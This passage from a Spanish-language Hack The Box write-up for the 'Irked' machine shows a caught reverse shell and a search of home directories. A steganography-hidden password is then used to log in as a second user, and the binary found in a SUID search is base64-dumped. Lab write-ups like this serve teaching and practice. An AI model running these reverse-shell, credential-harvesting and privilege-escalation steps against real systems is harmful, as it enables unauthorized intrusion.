<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ ncat -vnlp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.70 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.117.
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.117:54960.
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
</span></span><span style="display:flex;"><span>python -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;
</span></span><span style="display:flex;"><span>ircd@irked:~/Unreal3.2$
</span></span></code></pre></div><p>Hemos accedido como el usuario ircd.</p>
<h1 id="privesc-from-irc-to-djmardov">Privesc from irc to djmardov</h1>
<p>Hemos accedido como el usuario ircd, pero aun no capturamos la user.txt, eso significa que debemos movernos a otro usuario, veamos que tenemos por aquí:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ircd@irked:~/Unreal3.2$ cd ..
</span></span><span style="display:flex;"><span>lscd ..
</span></span><span style="display:flex;"><span>ircd@irked:~$
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>Unreal3.2
</span></span><span style="display:flex;"><span>ircd@irked:~$ ls -lah
</span></span><span style="display:flex;"><span>ls -lah
</span></span><span style="display:flex;"><span>total 24K
</span></span><span style="display:flex;"><span>drwxr-xr-x  4 ircd root 4.0K Apr  3 16:52 .
</span></span><span style="display:flex;"><span>drwxr-xr-x  4 root root 4.0K May 14  2018 ..
</span></span><span style="display:flex;"><span>-rw-------  1 ircd ircd  455 Apr  3 16:56 .bash_history
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ircd ircd    0 May 14  2018 .bashrc
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ircd ircd   66 May 14  2018 .selected_editor
</span></span><span style="display:flex;"><span>drwx------  2 ircd ircd 4.0K Apr  3 16:52 .ssh
</span></span><span style="display:flex;"><span>drwx------ 13 ircd ircd 4.0K Apr  3 16:44 Unreal3.2
</span></span><span style="display:flex;"><span>ircd@irked:~/Unreal3.2$ ls -lah /home
</span></span><span style="display:flex;"><span>ls -lah /home
</span></span><span style="display:flex;"><span>total 16K
</span></span><span style="display:flex;"><span>drwxr-xr-x  4 root     root     4.0K May 14  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 21 root     root     4.0K May 15  2018 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 djmardov djmardov 4.0K Nov  3 04:40 djmardov
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 ircd     root     4.0K May 15  2018 ircd
</span></span></code></pre></div><p>Ahora que hemos identificado al otro usuario (djmardov el del irc) revisemos que tenemos en su home:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ircd@irked:~/Unreal3.2$ ls -lahR /home/djmardov
</span></span><span style="display:flex;"><span>ls -lahR /home/djmardov
</span></span><span style="display:flex;"><span>/home/djmardov:
</span></span><span style="display:flex;"><span>total 92K
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 djmardov djmardov 4.0K Nov  3 04:40 .
</span></span><span style="display:flex;"><span>drwxr-xr-x  4 root     root     4.0K May 14  2018 ..
</span></span><span style="display:flex;"><span>lrwxrwxrwx  1 root     root        9 Nov  3 04:26 .bash_history -&gt; /dev/null
</span></span><span style="display:flex;"><span>-rw-r--r--  1 djmardov djmardov  220 May 11  2018 .bash_logout
</span></span><span style="display:flex;"><span>-rw-r--r--  1 djmardov djmardov 3.5K May 11  2018 .bashrc
</span></span><span style="display:flex;"><span>drwx------ 13 djmardov djmardov 4.0K May 15  2018 .cache
</span></span><span style="display:flex;"><span>drwx------ 15 djmardov djmardov 4.0K May 15  2018 .config
</span></span><span style="display:flex;"><span>drwx------  3 djmardov djmardov 4.0K May 11  2018 .dbus
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 11  2018 Desktop
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 15  2018 Documents
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 14  2018 Downloads
</span></span><span style="display:flex;"><span>drwx------  3 djmardov djmardov 4.0K Nov  3 04:40 .gconf
</span></span><span style="display:flex;"><span>drwx------  2 djmardov djmardov 4.0K May 15  2018 .gnupg
</span></span><span style="display:flex;"><span>-rw-------  1 djmardov djmardov 4.6K Nov  3 04:40 .ICEauthority
</span></span><span style="display:flex;"><span>drwx------  3 djmardov djmardov 4.0K May 11  2018 .local
</span></span><span style="display:flex;"><span>drwx------  4 djmardov djmardov 4.0K May 11  2018 .mozilla
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 11  2018 Music
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 11  2018 Pictures
</span></span><span style="display:flex;"><span>-rw-r--r--  1 djmardov djmardov  675 May 11  2018 .profile
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 11  2018 Public
</span></span><span style="display:flex;"><span>drwx------  2 djmardov djmardov 4.0K Apr  3 17:03 .ssh
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 11  2018 Templates
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 11  2018 Videos
</span></span><span style="display:flex;"><span>ls: cannot open directory /home/djmardov/.cache: Permission denied
</span></span><span style="display:flex;"><span>ls: cannot open directory /home/djmardov/.config: Permission denied
</span></span><span style="display:flex;"><span>ls: cannot open directory /home/djmardov/.dbus: Permission denied
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/home/djmardov/Desktop:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 11  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 djmardov djmardov 4.0K Nov  3 04:40 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/home/djmardov/Documents:
</span></span><span style="display:flex;"><span>total 16K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 15  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 djmardov djmardov 4.0K Nov  3 04:40 ..
</span></span><span style="display:flex;"><span>-rw-r--r--  1 djmardov djmardov   52 May 16  2018 .backup
</span></span><span style="display:flex;"><span>-rw-------  1 djmardov djmardov   33 May 15  2018 user.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/home/djmardov/Downloads:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 14  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 djmardov djmardov 4.0K Nov  3 04:40 ..
</span></span><span style="display:flex;"><span>ls: cannot open directory /home/djmardov/.gconf: Permission denied
</span></span><span style="display:flex;"><span>ls: cannot open directory /home/djmardov/.gnupg: Permission denied
</span></span><span style="display:flex;"><span>ls: cannot open directory /home/djmardov/.local: Permission denied
</span></span><span style="display:flex;"><span>ls: cannot open directory /home/djmardov/.mozilla: Permission denied
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/home/djmardov/Music:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 11  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 djmardov djmardov 4.0K Nov  3 04:40 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/home/djmardov/Pictures:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 11  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 djmardov djmardov 4.0K Nov  3 04:40 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/home/djmardov/Public:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 11  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 djmardov djmardov 4.0K Nov  3 04:40 ..
</span></span><span style="display:flex;"><span>ls: cannot open directory /home/djmardov/.ssh: Permission denied
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/home/djmardov/Templates:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 11  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 djmardov djmardov 4.0K Nov  3 04:40 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/home/djmardov/Videos:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 djmardov djmardov 4.0K May 11  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 djmardov djmardov 4.0K Nov  3 04:40 ..
</span></span></code></pre></div><p>En resumen, no tenemos acceso a algunas de sus carpetas y archivos, pero confirmamos la existencia de user.txt y que hay un archivo <code>.backup</code> que si podemos leer.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ircd@irked:~/Unreal3.2$ cat /home/djmardov/Documents/.backup
</span></span><span style="display:flex;"><span>cat /home/djmardov/Documents/.backup
</span></span><span style="display:flex;"><span>Super elite steg backup pw
</span></span><span style="display:flex;"><span>UPupDOWNdownLRlrBAbaSSss
</span></span></code></pre></div><p>DJmardov nos dice que la password de un &ldquo;Super elite steg&rdquo; es UPupDOWNdownLRlrBAbaSSss (el mismo nombre del único canal en el irc), pero si recordamos no había ninguna imagen o audio donde podamos aplicar esta contraseña, a menos que&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ http 10.10.10.117
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Accept-Ranges: bytes
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 83
</span></span><span style="display:flex;"><span>Content-Type: text/html
</span></span><span style="display:flex;"><span>Date: Thu, 04 Apr 2019 00:02:34 GMT
</span></span><span style="display:flex;"><span>ETag: &#34;48-56c2e413aa86b-gzip&#34;
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Last-Modified: Mon, 14 May 2018 18:00:02 GMT
</span></span><span style="display:flex;"><span>Server: Apache/2.4.10 (Debian)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;img src=irked.jpg&gt;
</span></span><span style="display:flex;"><span>&lt;br&gt;
</span></span><span style="display:flex;"><span>&lt;b&gt;&lt;center&gt;IRC is almost working!&lt;/b&gt;&lt;/center&gt;
</span></span></code></pre></div><p><img src="/img/htb-irked/irked.jpg" alt="irked"></p>
<p>Ahí había una imagen, así que vamos a descargarla para revisarla.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ wget 10.10.10.117/irked.jpg
</span></span><span style="display:flex;"><span>--2019-04-03 18:02:45--  http://10.10.10.117/irked.jpg
</span></span><span style="display:flex;"><span>Conectando con 10.10.10.117:80... conectado.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 34697 (34K) [image/jpeg]
</span></span><span style="display:flex;"><span>Grabando a: “irked.jpg”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>irked.jpg                         100%[============================================================&gt;]  33.88K  93.9KB/s    en 0.4s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-04-03 18:02:46 (93.9 KB/s) - “irked.jpg” guardado [34697/34697]
</span></span></code></pre></div><p>Ok, normalmente en los retos de CTF y en algunas maquinas de HTB, se usa <code>steghide</code> para ocultar cosas, así que siguiendo esa mecánica usemos la misma herramienta.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
</span></span><span style="display:flex;"><span>anot� los datos extra�dos e/&#34;pass.txt&#34;.
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ cat pass.txt
</span></span><span style="display:flex;"><span>Kab6h+m+bbp2J:HG
</span></span></code></pre></div><ul>
<li><code>extract</code> para indicar que queremos extraer</li>
<li><code>-sf</code> para indicar el archivo que tiene aplicado una técnica de esteganografía</li>
<li><code>-p</code> para la contraseña que sirve para ocultar el archivo</li>
</ul>
<p>Parece que finalmente tenemos una contraseña, o al menos el nombre del archivo dice pass, así que validemos.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ ssh djmardov@10.10.10.117
</span></span><span style="display:flex;"><span>djmardov@10.10.10.117&#39;s password:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>The programs included with the Debian GNU/Linux system are free software;
</span></span><span style="display:flex;"><span>the exact distribution terms for each program are described in the
</span></span><span style="display:flex;"><span>individual files in /usr/share/doc/*/copyright.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
</span></span><span style="display:flex;"><span>permitted by applicable law.
</span></span><span style="display:flex;"><span>You have mail.
</span></span><span style="display:flex;"><span>Last login: Wed Apr  3 20:04:44 2019 from 10.10.15.118
</span></span><span style="display:flex;"><span>djmardov@irked:~$
</span></span></code></pre></div><p>Perfecto, ya hemos pasado de ircd a djmardov.</p>
<blockquote>
<p>creds: djmardov / Kab6h+m+bbp2J:HG</p>
</blockquote>
<h1 id="cat-usertxt">cat user.txt</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>djmardov@irked:~$ cat Documents/user.txt
</span></span></code></pre></div><h1 id="privesc-from-djmardov-to-root">Privesc from djmardov to root</h1>
<p>Después de enumerar un poco, cuando busque archivos con SETUID, me llama la atención algo en particular:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>djmardov@irked:/dev/shm$ find /usr/ -perm /4000
</span></span><span style="display:flex;"><span>/usr/lib/dbus-1.0/dbus-daemon-launch-helper
</span></span><span style="display:flex;"><span>/usr/lib/eject/dmcrypt-get-device
</span></span><span style="display:flex;"><span>/usr/lib/policykit-1/polkit-agent-helper-1
</span></span><span style="display:flex;"><span>/usr/lib/openssh/ssh-keysign
</span></span><span style="display:flex;"><span>/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
</span></span><span style="display:flex;"><span>/usr/sbin/exim4
</span></span><span style="display:flex;"><span>/usr/sbin/pppd
</span></span><span style="display:flex;"><span>/usr/bin/chsh
</span></span><span style="display:flex;"><span>/usr/bin/procmail
</span></span><span style="display:flex;"><span>/usr/bin/gpasswd
</span></span><span style="display:flex;"><span>/usr/bin/newgrp
</span></span><span style="display:flex;"><span>/usr/bin/at
</span></span><span style="display:flex;"><span>/usr/bin/pkexec
</span></span><span style="display:flex;"><span>/usr/bin/X
</span></span><span style="display:flex;"><span>/usr/bin/passwd
</span></span><span style="display:flex;"><span>/usr/bin/chfn
</span></span><span style="display:flex;"><span>/usr/bin/viewuser
</span></span></code></pre></div><p>Ese archivo viewuser no se me hacia conocido de ningun lugar, inclusive lo busque dentro de los repos de debian:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ apt-file search /usr/bin/viewuser
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$
</span></span></code></pre></div><p>Ahora, si ese archivo fue compilado y entregado en la maquina, podremos encontrar ciertos indicadores:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>djmardov@irked:/dev/shm$ ls -lah /usr/bin/viewuser
</span></span><span style="display:flex;"><span>-rwsr-xr-x 1 root root 7.2K May 16  2018 /usr/bin/viewuser
</span></span></code></pre></div><p>Mejor copiemoslo y revisemos su funcionamiento por afuera. En mi caso la copia la hago vía base64 por lo que no transmito nada sobre la red y garantizo integridad:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>djmardov@irked:/dev/shm$ base64 /usr/bin/viewuser
</span></span><span style="display:flex;"><span>f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAQAQAADQAAADwFwAAAAAAADQAIAAJACgAHgAdAAYAAAA0
</span></span><span style="display:flex;"><span>AAAANAAAADQAAAAgAQAAIAEAAAUAAAAEAAAAAwAAAFQBAABUAQAAVAEAABMAAAATAAAABAAAAAEA
</span></span><span style="display:flex;"><span>AAABAAAAAAAAAAAAAAAAAAAAHAgAABwIAAAFAAAAABAAAAEAAAD0DgAA9B4AAPQeAAAwAQAANAEA
</span></span><span style="display:flex;"><span>AAYAAAAAEAAAAgAAAPwOAAD8HgAA/B4AAPAAAADwAAAABgAAAAQAAAAEAAAAaAEAAGgBAABoAQAA
</span></span><span style="display:flex;"><span>RAAAAEQAAAAEAAAABAAAAFDldGQABwAAAAcAAAAHAAA0AAAANAAAAAQAAAAEAAAAUeV0ZAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAABgAAABAAAABS5XRk9A4AAPQeAAD0HgAADAEAAAwBAAAEAAAAAQAAAC9s
</span></span><span style="display:flex;"><span>aWIvbGQtbGludXguc28uMgAABAAAABAAAAABAAAAR05VAAAAAAADAAAAAgAAAAAAAAAEAAAAFAAA
</span></span><span style="display:flex;"><span>AAMAAABHTlUAabpLx1v3IDfx7EkrxM3iVQ7qxLsCAAAACQAAAAEAAAAFAAAAACAAIAAAAAAJAAAA
</span></span><span style="display:flex;"><span>rUvjwAAAAAAAAAAAAAAAAAAAAABkAAAAAAAAAAAAAAAgAAAALQAAAAAAAAAAAAAAIgAAACEAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAABIAAAAmAAAAAAAAAAAAAAASAAAAgAAAAAAAAAAAAAAAIAAAADwAAAAAAAAAAAAAABIA
</span></span><span style="display:flex;"><span>AAAaAAAAAAAAAAAAAAASAAAAjwAAAAAAAAAAAAAAIAAAAAsAAAB8BgAABAAAABEAEAAAbGliYy5z
</span></span><span style="display:flex;"><span>by42AF9JT19zdGRpbl91c2VkAHNldHVpZABwdXRzAHN5c3RlbQBfX2N4YV9maW5hbGl6ZQBfX2xp
</span></span><span style="display:flex;"><span>YmNfc3RhcnRfbWFpbgBHTElCQ18yLjAAR0xJQkNfMi4xLjMAX0lUTV9kZXJlZ2lzdGVyVE1DbG9u
</span></span><span style="display:flex;"><span>ZVRhYmxlAF9fZ21vbl9zdGFydF9fAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAAAAAAAACAAMA
</span></span><span style="display:flex;"><span>AwAAAAMAAwAAAAEAAAABAAIAAQAAABAAAAAAAAAAEGlpDQAAAwBOAAAAEAAAAHMfaQkAAAIAWAAA
</span></span><span style="display:flex;"><span>AAAAAAD0HgAACAAAAPgeAAAIAAAA+B8AAAgAAAAgIAAACAAAAOwfAAAGAQAA8B8AAAYCAAD0HwAA
</span></span><span style="display:flex;"><span>BgUAAPwfAAAGCAAADCAAAAcDAAAQIAAABwQAABQgAAAHBgAAGCAAAAcHAABTg+wI6LsAAACBwzsc
</span></span><span style="display:flex;"><span>AACLg/T///+FwHQF6F4AAACDxAhbwwD/swQAAAD/owgAAAAAAAAA/6MMAAAAaAAAAADp4P////+j
</span></span><span style="display:flex;"><span>EAAAAGgIAAAA6dD/////oxQAAABoEAAAAOnA/////6MYAAAAaBgAAADpsP////+j8P///2aQ/6P0
</span></span><span style="display:flex;"><span>////ZpAx7V6J4YPk8FBUUugiAAAAgcOwGwAAjYNg5v//UI2DAOb//1BRVv+z+P///+if////9Isc
</span></span><span style="display:flex;"><span>JMNmkGaQZpBmkGaQixwkw2aQZpBmkGaQZpBmkOjkAAAAgcJrGwAAjYokAAAAjYIkAAAAOch0HYuC
</span></span><span style="display:flex;"><span>7P///4XAdBNVieWD7BRR/9CDxBDJw5CNdCYA88ONtgAAAADopAAAAIHCKxsAAFWNiiQAAACNgiQA
</span></span><span style="display:flex;"><span>AAApyInlU8H4AonDg+wEwesfAdjR+HQUi5L8////hdJ0CoPsCFBR/9KDxBCLXfzJw4n2jbwnAAAA
</span></span><span style="display:flex;"><span>AFWJ5VPoV////4HD1xoAAIPsBIC7JAAAAAB1J4uD8P///4XAdBGD7Az/syAAAADo3f7//4PEEOg1
</span></span><span style="display:flex;"><span>////xoMkAAAAAYtd/MnDifaNvCcAAAAAVYnlXelX////ixQkw41MJASD5PD/cfxVieVTUejv/v//
</span></span><span style="display:flex;"><span>gcNvGgAAg+wMjYOA5v//UOhK/v//g8QQg+wMjYPI5v//UOg4/v//g8QQg+wMjYPt5v//UOg2/v//
</span></span><span style="display:flex;"><span>g8QQg+wMagDoSf7//4PEEIPsDI2D8eb//1DoF/7//4PEELgAAAAAjWX4WVtdjWH8w2aQZpCQVVdW
</span></span><span style="display:flex;"><span>U+h3/v//gcP3GQAAg+wMi2wkKI2z+P7//+ib/f//jYP0/v//KcbB/gKF9nQlMf+NtgAAAACD7ARV
</span></span><span style="display:flex;"><span>/3QkLP90JCz/lLv0/v//g8cBg8QQOf5144PEDFteX13DjXYA88MAAFOD7AjoE/7//4HDkxkAAIPE
</span></span><span style="display:flex;"><span>CFvDAwAAAAEAAgBUaGlzIGFwcGxpY2F0aW9uIGlzIGJlaW5nIGRldmxlb3BlZCB0byBzZXQgYW5k
</span></span><span style="display:flex;"><span>IHRlc3QgdXNlciBwZXJtaXNzaW9ucwAAAABJdCBpcyBzdGlsbCBiZWluZyBhY3RpdmVseSBkZXZl
</span></span><span style="display:flex;"><span>bG9wZWQAd2hvAC90bXAvbGlzdHVzZXJzAAEbAzswAAAABQAAAOD8//9MAAAAMP3//3AAAAB9/v//
</span></span><span style="display:flex;"><span>hAAAAAD///+4AAAAYP///wQBAAAUAAAAAAAAAAF6UgABfAgBGwwEBIgBAAAgAAAAHAAAAIz8//9Q
</span></span><span style="display:flex;"><span>AAAAAA4IRg4MSg8LdAR4AD8aOyoyJCIQAAAAQAAAALj8//8QAAAAAAAAADAAAABUAAAA8f3//34A
</span></span><span style="display:flex;"><span>AAAARAwBAEcQBQJ1AEQPA3V4BhADAnV8AmnBDAEAQcNBxUMMBARIAAAAiAAAAED+//9dAAAAAEEO
</span></span><span style="display:flex;"><span>CIUCQQ4MhwNBDhCGBEEOFIMFTg4gaQ4kQQ4oRA4sRA4wTQ4gRw4UQcMOEEHGDgxBxw4IQcUOBAAA
</span></span><span style="display:flex;"><span>EAAAANQAAABU/v//AgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
